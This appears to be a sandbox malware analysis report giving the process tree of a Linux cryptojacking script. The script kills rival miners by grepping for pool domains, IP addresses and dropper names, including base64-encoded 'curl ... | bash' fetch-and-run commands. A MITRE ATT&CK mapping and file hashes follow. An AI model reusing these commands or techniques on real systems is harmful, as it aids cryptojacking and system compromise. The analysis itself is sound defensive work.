-
/bin/psps aux2⤵
- Discovers running processes
PID:1387
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1396
-
-
/bin/grepgrep rsync2⤵PID:1394
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1395
-
-
/bin/grepgrep -v grep2⤵PID:1393
-
-
/bin/psps aux2⤵PID:1392
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1401
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1400
-
-
/bin/grepgrep watchd0g2⤵PID:1399
-
-
/bin/grepgrep -v grep2⤵PID:1398
-
-
/bin/psps aux2⤵PID:1397
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1405
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1406
-
-
/bin/grepgrep -v grep2⤵PID:1403
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
PID:1402
-
-
/bin/egrepegrep "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1404
-
-
/usr/local/sbin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1404
-
-
/usr/local/bin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1404
-
-
/usr/sbin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1404
-
-
/usr/bin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1404
-
-
/sbin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1404
-
-
/bin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1404
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1410
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1411
-
-
/bin/grepgrep 158.69.133.18:82202⤵
- Disables SELinux
PID:1409
-
-
/bin/grepgrep -v grep2⤵PID:1408
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1407
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1415
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1416
-
-
/bin/grepgrep /tmp/java2⤵PID:1414
-
-
/bin/grepgrep -v grep2⤵PID:1413
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1412
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1420
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1421
-
-
/bin/grepgrep gitee.com2⤵PID:1419
-
-
/bin/grepgrep -v grep2⤵PID:1418
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1417
-
-
/bin/grepgrep /tmp/java2⤵PID:1424
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1425
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1426
-
-
/bin/grepgrep -v grep2⤵PID:1423
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
PID:1422
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1431
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1430
-
-
/bin/grepgrep 104.248.4.1622⤵PID:1429
-
-
/bin/grepgrep -v grep2⤵PID:1428
-
-
/bin/psps aux2⤵PID:1427
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1436
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1435
-
-
/bin/grepgrep 89.35.39.782⤵PID:1434
-
-
/bin/grepgrep -v grep2⤵PID:1433
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1432
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1440
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1441
-
-
/bin/grepgrep /dev/shm/z3.sh2⤵PID:1439
-
-
/bin/grepgrep -v grep2⤵PID:1438
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1437
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1446
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1445
-
-
/bin/grepgrep kthrotlds2⤵PID:1444
-
-
/bin/grepgrep -v grep2⤵PID:1443
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads runtime system information
PID:1442
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1450
-
-
/bin/grepgrep ksoftirqds2⤵PID:1449
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1451
-
-
/bin/grepgrep -v grep2⤵PID:1448
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1447
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1456
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1455
-
-
/bin/grepgrep netdns2⤵PID:1454
-
-
/bin/grepgrep -v grep2⤵PID:1453
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1452
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1460
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1461
-
-
/bin/grepgrep watchdogs2⤵PID:1459
-
-
/bin/grepgrep -v grep2⤵PID:1458
-
-
/bin/psps aux2⤵PID:1457
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1465
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1466
-
-
/bin/grepgrep kdevtmpfsi2⤵PID:1464
-
-
/bin/grepgrep -v grep2⤵PID:1463
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
PID:1462
-
-
/bin/grepgrep kinsing2⤵PID:1469
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1471
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1470
-
-
/bin/grepgrep -v grep2⤵PID:1468
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
PID:1467
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1475
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1476
-
-
/bin/grepgrep redis22⤵PID:1474
-
-
/bin/grepgrep -v grep2⤵PID:1473
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
PID:1472
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1481
-
-
/bin/grepgrep " ps"2⤵PID:1480
-
-
/bin/grepgrep -v aux2⤵PID:1479
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1482
-
-
/bin/grepgrep -v grep2⤵PID:1478
-
-
/bin/psps aux2⤵PID:1477
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1487
-
-
/bin/grepgrep sync_supers2⤵PID:1485
-
-
/bin/grepgrep -v grep2⤵PID:1484
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1483
-
-
/usr/bin/cutcut -c 9-152⤵PID:1486
-
-
/usr/bin/cutcut -c 9-152⤵PID:1491
-
-
/bin/grepgrep cpuset2⤵PID:1490
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1492
-
-
/bin/grepgrep -v grep2⤵PID:1489
-
-
/bin/psps aux2⤵PID:1488
-
-
/bin/grepgrep "x]"2⤵PID:1496
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1497
-
-
/bin/grepgrep -v aux2⤵PID:1495
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1498
-
-
/bin/grepgrep -v grep2⤵PID:1494
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1493
-
-
/bin/grepgrep "sh] <"2⤵PID:1502
-
-
/bin/grepgrep -v aux2⤵PID:1501
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1503
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1504
-
-
/bin/grepgrep -v grep2⤵PID:1500
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1499
-
-
/bin/grepgrep " \\[]"2⤵PID:1508
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1509
-
-
/bin/grepgrep -v aux2⤵PID:1507
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1510
-
-
/bin/grepgrep -v grep2⤵PID:1506
-
-
/bin/psps aux2⤵PID:1505
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1514
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1515
-
-
/bin/grepgrep /tmp/l.sh2⤵PID:1513
-
-
/bin/grepgrep -v grep2⤵PID:1512
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1511
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1519
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1520
-
-
/bin/grepgrep /tmp/zmcat2⤵PID:1518
-
-
/bin/grepgrep -v grep2⤵PID:1517
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1516
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1524
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1525
-
-
/bin/grepgrep hahwNEdB2⤵PID:1523
-
-
/bin/grepgrep -v grep2⤵PID:1522
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1521
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1529
-
-
/bin/grepgrep CnzFVPLF2⤵PID:1528
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1530
-
-
/bin/grepgrep -v grep2⤵PID:1527
-
-
/bin/psps aux2⤵PID:1526
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1535
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1534
-
-
/bin/grepgrep CvKzzZLs2⤵PID:1533
-
-
/bin/grepgrep -v grep2⤵PID:1532
-
-
/bin/psps aux2⤵PID:1531
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1539
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1540
-
-
/bin/grepgrep aziplcr72qjhzvin2⤵
- System Network Configuration Discovery
PID:1538
-
-
/bin/grepgrep -v grep2⤵PID:1537
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1536
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1544
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1545
-
-
/bin/grepgrep /tmp/udevd2⤵PID:1543
-
-
/bin/grepgrep -v grep2⤵PID:1542
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
PID:1541
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1549
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1550
-
-
/bin/grepgrep KCBjdXJsIC1vIC0gaHR0cDovLzg5LjIyMS41Mi4xMjIvcy5zaCApIHwgYmFzaCA2⤵PID:1548
-
-
/bin/grepgrep -v grep2⤵PID:1547
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1546
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1554
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1555
-
-
/bin/grepgrep Y3VybCAtcyBodHRwOi8vMTA3LjE3NC40Ny4xNTYvbXIuc2ggfCBiYXNoIC1zaAo2⤵PID:1553
-
-
/bin/grepgrep -v grep2⤵PID:1552
-
-
/bin/psps aux2⤵PID:1551
-
-
/bin/grepgrep sustse2⤵PID:1558
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1559
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1560
-
-
/bin/grepgrep -v grep2⤵PID:1557
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1556
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1564
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1565
-
-
/bin/grepgrep sustse32⤵PID:1563
-
-
/bin/grepgrep -v grep2⤵PID:1562
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1561
-
-
/bin/grepgrep wget2⤵PID:1569
-
-
/bin/grepgrep mr.sh2⤵PID:1568
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1570
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1571
-
-
/bin/grepgrep -v grep2⤵PID:1567
-
-
/bin/psps aux2⤵PID:1566
-
-
/bin/grepgrep curl2⤵PID:1575
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1576
-
-
/bin/grepgrep mr.sh2⤵PID:1574
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1577
-
-
/bin/grepgrep -v grep2⤵PID:1573
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1572
-
-
/bin/grepgrep wget2⤵PID:1581
-
-
/bin/grepgrep 2mr.sh2⤵PID:1580
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1582
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1583
-
-
/bin/grepgrep -v grep2⤵PID:1579
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1578
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1588
-
-
/bin/grepgrep curl2⤵PID:1587
-
-
/bin/grepgrep 2mr.sh2⤵PID:1586
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1589
-
-
/bin/grepgrep -v grep2⤵PID:1585
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1584
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1594
-
-
/bin/grepgrep wget2⤵PID:1593
-
-
/bin/grepgrep cr5.sh2⤵PID:1592
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1595
-
-
/bin/grepgrep -v grep2⤵PID:1591
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1590
-
-
/bin/grepgrep cr5.sh2⤵PID:1598
-
-
/bin/grepgrep curl2⤵PID:1599
-
-
/bin/grepgrep -v grep2⤵PID:1597
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1600
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1601
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1596
-
-
/bin/grepgrep logo9.jpg2⤵PID:1604
-
-
/bin/grepgrep wget2⤵PID:1605
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1606
-
-
/bin/grepgrep -v grep2⤵PID:1603
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1607
-
-
/bin/psps aux2⤵PID:1602
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1612
-
-
/bin/grepgrep curl2⤵PID:1611
-
-
/bin/grepgrep logo9.jpg2⤵PID:1610
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1613
-
-
/bin/grepgrep -v grep2⤵PID:1609
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1608
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1617
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1618
-
-
/bin/grepgrep j2.conf2⤵PID:1616
-
-
/bin/grepgrep -v grep2⤵PID:1615
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads runtime system information
PID:1614
-
-
/bin/grepgrep wget2⤵PID:1622
-
-
/bin/grepgrep luk-cpu2⤵PID:1621
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1623
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1624
-
-
/bin/grepgrep -v grep2⤵PID:1620
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads runtime system information
PID:1619
-
-
/bin/grepgrep -v grep2⤵PID:1626
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1629
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1630
-
-
/bin/grepgrep curl2⤵PID:1628
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
PID:1625
-
-
/bin/grepgrep luk-cpu2⤵PID:1627
-
-
/bin/grepgrep ficov2⤵PID:1633
-
-
/bin/grepgrep wget2⤵PID:1634
-
-
/bin/grepgrep -v grep2⤵PID:1632
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1635
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1636
-
-
/bin/psps aux2⤵PID:1631
-
-
/bin/grepgrep ficov2⤵PID:1639
-
-
/bin/grepgrep curl2⤵PID:1640
-
-
/bin/grepgrep -v grep2⤵PID:1638
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1642
-
-
/bin/psps aux2⤵PID:1637
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1641
-
-
/bin/grepgrep he.sh2⤵PID:1645
-
-
/bin/grepgrep wget2⤵PID:1646
-
-
/bin/grepgrep -v grep2⤵PID:1644
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1647
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1648
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1643
-
-
/bin/grepgrep he.sh2⤵PID:1651
-
-
/bin/grepgrep -v grep2⤵PID:1650
-
-
/bin/grepgrep curl2⤵PID:1652
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1653
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
PID:1649
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1654
-
-
/bin/grepgrep wget2⤵PID:1658
-
-
/bin/grepgrep miner.sh2⤵PID:1657
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1659
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1660
-
-
/bin/grepgrep -v grep2⤵PID:1656
-
-
/bin/psps aux2⤵PID:1655
-
-
/bin/grepgrep miner.sh2⤵PID:1663
-
-
/bin/grepgrep curl2⤵PID:1664
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1665
-
-
/bin/grepgrep -v grep2⤵PID:1662
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1666
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1661
-
-
/bin/grepgrep wget2⤵PID:1670
-
-
/bin/grepgrep nullcrew2⤵PID:1669
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1671
-
-
/bin/grepgrep -v grep2⤵PID:1668
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1672
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
PID:1667
-
-
/bin/grepgrep nullcrew2⤵PID:1675
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1677
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1678
-
-
/bin/grepgrep -v grep2⤵PID:1674
-
-
/bin/grepgrep curl2⤵PID:1676
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1673
-
-
/bin/grepgrep 107.174.47.1562⤵PID:1681
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1683
-
-
/bin/grepgrep -v grep2⤵PID:1680
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1682
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1679
-
-
/bin/grepgrep 83.220.169.2472⤵PID:1686
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1688
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1687
-
-
/bin/grepgrep -v grep2⤵PID:1685
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
PID:1684
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1692
-
-
/bin/grepgrep 51.38.203.1462⤵PID:1691
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1693
-
-
/bin/grepgrep -v grep2⤵PID:1690
-
-
/bin/psps aux2⤵PID:1689
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1698
-
-
/bin/grepgrep 144.217.45.452⤵PID:1696
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1697
-
-
/bin/grepgrep -v grep2⤵PID:1695
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1694
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1702
-
-
/bin/grepgrep 107.174.47.1812⤵PID:1701
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1703
-
-
/bin/grepgrep -v grep2⤵PID:1700
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1699
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1707
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1708
-
-
/bin/grepgrep 176.31.6.162⤵PID:1706
-
-
/bin/grepgrep -v grep2⤵PID:1705
-
-
/bin/psps aux2⤵PID:1704
-
-
/bin/grepgrep -v grep2⤵PID:1710
-
-
/bin/grepgrep mine.moneropool.com2⤵PID:1711
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1712
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1713
-
-
/bin/psps auxf2⤵
- Reads runtime system information
PID:1709
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1717
-
-
/bin/grepgrep pool.t00ls.ru2⤵PID:1716
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1718
-
-
/bin/grepgrep -v grep2⤵PID:1715
-
-
/bin/psps auxf2⤵
- Reads runtime system information
PID:1714
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1722
-
-
/bin/grepgrep xmr.crypto-pool.fr:80802⤵
- Disables SELinux
PID:1721
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1723
-
-
/bin/grepgrep -v grep2⤵PID:1720
-
-
/bin/psps auxf2⤵PID:1719
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1727
-
-
/bin/grepgrep xmr.crypto-pool.fr:33332⤵PID:1726
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1728
-
-
/bin/grepgrep -v grep2⤵PID:1725
-
-
/bin/psps auxf2⤵
- Reads CPU attributes
PID:1724
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1732
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1733
-
-
/bin/grepPID:1731
-
-
/bin/grepgrep -v grep2⤵PID:1730
-
-
/bin/psps auxf2⤵PID:1729
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1737
-
-
/bin/grepgrep monerohash.com2⤵PID:1736
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1738
-
-
/bin/grepgrep -v grep2⤵PID:1735
-
-
/bin/psps auxf2⤵PID:1734
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1742
-
-
/bin/grepgrep /tmp/a7b104c2702⤵
- Disables SELinux
PID:1741
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1743
-
-
/bin/grepgrep -v grep2⤵PID:1740
-
-
/bin/psps auxf2⤵
- Reads runtime system information
PID:1739
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1747
-
-
/bin/grepgrep xmr.crypto-pool.fr:66662⤵PID:1746
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1748
-
-
/bin/grepgrep -v grep2⤵PID:1745
-
-
/bin/psps auxf2⤵PID:1744
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1752
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1753
-
-
/bin/grepgrep xmr.crypto-pool.fr:77772⤵PID:1751
-
-
/bin/grepgrep -v grep2⤵PID:1750
-
-
/bin/psps auxf2⤵
- Reads runtime system information
PID:1749
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1757
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1758
-
-
/bin/grepgrep xmr.crypto-pool.fr:4432⤵PID:1756
-
-
/bin/grepgrep -v grep2⤵PID:1755
-
-
/bin/psps auxf2⤵
- Reads CPU attributes
PID:1754
-
-
/bin/grepgrep stratum.f2pool.com:88882⤵PID:1761
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1762
-
-
/bin/grepgrep -v grep2⤵PID:1760
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1763
-
-
/bin/psps auxf2⤵PID:1759
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1767
-
-
/bin/grepgrep xmrpool.eu2⤵PID:1766
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1768
-
-
/bin/grepgrep -v grep2⤵PID:1765
-
-
/bin/psps auxf2⤵
- Reads CPU attributes
PID:1764
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1772
-
-
/bin/grepgrep kieuanilam.me2⤵PID:1771
-
-
/bin/grepgrep -v grep2⤵PID:1770
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1773
-
-
/bin/psps auxf2⤵PID:1769
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1777
-
/usr/local/sbin/killkill -9 17753⤵PID:1778
-
-
/usr/local/bin/killkill -9 17753⤵PID:1778
-
-
/usr/sbin/killkill -9 17753⤵PID:1778
-
-
/usr/bin/killkill -9 17753⤵PID:1778
-
-
/sbin/killkill -9 17753⤵PID:1778
-
-
/bin/killkill -9 17753⤵PID:1778
-
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1776
-
-
/bin/grepgrep xiaoyao2⤵PID:1775
-
-
/bin/psps auxf2⤵
- Reads runtime system information
PID:1774
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1781
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1782
-
/usr/local/sbin/killkill -9 17803⤵
- Disables SELinux
PID:1783
-
-
/usr/local/bin/killkill -9 17803⤵
- Disables SELinux
PID:1783
-
-
/usr/sbin/killkill -9 17803⤵
- Disables SELinux
PID:1783
-
-
/usr/bin/killkill -9 17803⤵
- Disables SELinux
PID:1783
-
-
/sbin/killkill -9 17803⤵
- Disables SELinux
PID:1783
-
-
/bin/killkill -9 17803⤵
- Disables SELinux
PID:1783
-
-
-
/bin/grepgrep xiaoxue2⤵PID:1780
-
-
/bin/psps auxf2⤵PID:1779
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1787
-
-
/bin/grepgrep 46.243.253.152⤵PID:1785
-
-
/bin/grepgrep "ESTABLISHED\\|SYN_SENT"2⤵PID:1786
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1789
-
-
/bin/sedsed -e "s/\\/.*//g"2⤵PID:1788
-
-
/bin/grepgrep "ESTABLISHED\\|SYN_SENT"2⤵PID:1792
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1793
-
-
/bin/grepgrep 176.31.6.162⤵PID:1791
-
-
/bin/sedsed -e "s/\\/.*//g"2⤵PID:1794
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1795
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1797
-
-
/usr/bin/pgreppgrep -f L2Jpbi9iYXN2⤵PID:1796
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1799
-
-
/usr/bin/pgreppgrep -f xzpauectgr2⤵PID:1798
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1801
-
-
/usr/bin/pgreppgrep -f slxfbkmxtd2⤵PID:1800
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1803
-
-
/usr/bin/pgreppgrep -f mixtape2⤵PID:1802
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1805
-
-
/usr/bin/pgreppgrep -f addnj2⤵PID:1804
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1807
-
Network
MITRE ATT&CK Enterprise v16
Persistence
Account Manipulation
1SSH Authorized Keys
1Boot or Logon Autostart Execution
1Boot or Logon Initialization Scripts
1RC Scripts
1Scheduled Task/Job
1Cron
1Privilege Escalation
Account Manipulation
1SSH Authorized Keys
1Boot or Logon Autostart Execution
1Boot or Logon Initialization Scripts
1RC Scripts
1Scheduled Task/Job
1Cron
1Defense Evasion
Deobfuscate/Decode Files or Information
1File and Directory Permissions Modification
2Linux and Mac File and Directory Permissions Modification
2Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
2Indicator Removal
1Clear Linux or Mac System Logs
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path /bin/ps
- Size 13B
- SHA256 be167c52e59f0a02ca6841074d9e73205b2f7898ad73d405c7b96f9efb440c36
- MD5 3d47b8e895a71930bda5d4f3d8fc8589
- SHA1 efbaf468b81abb6b465ca12f35fa067bae1b4f10
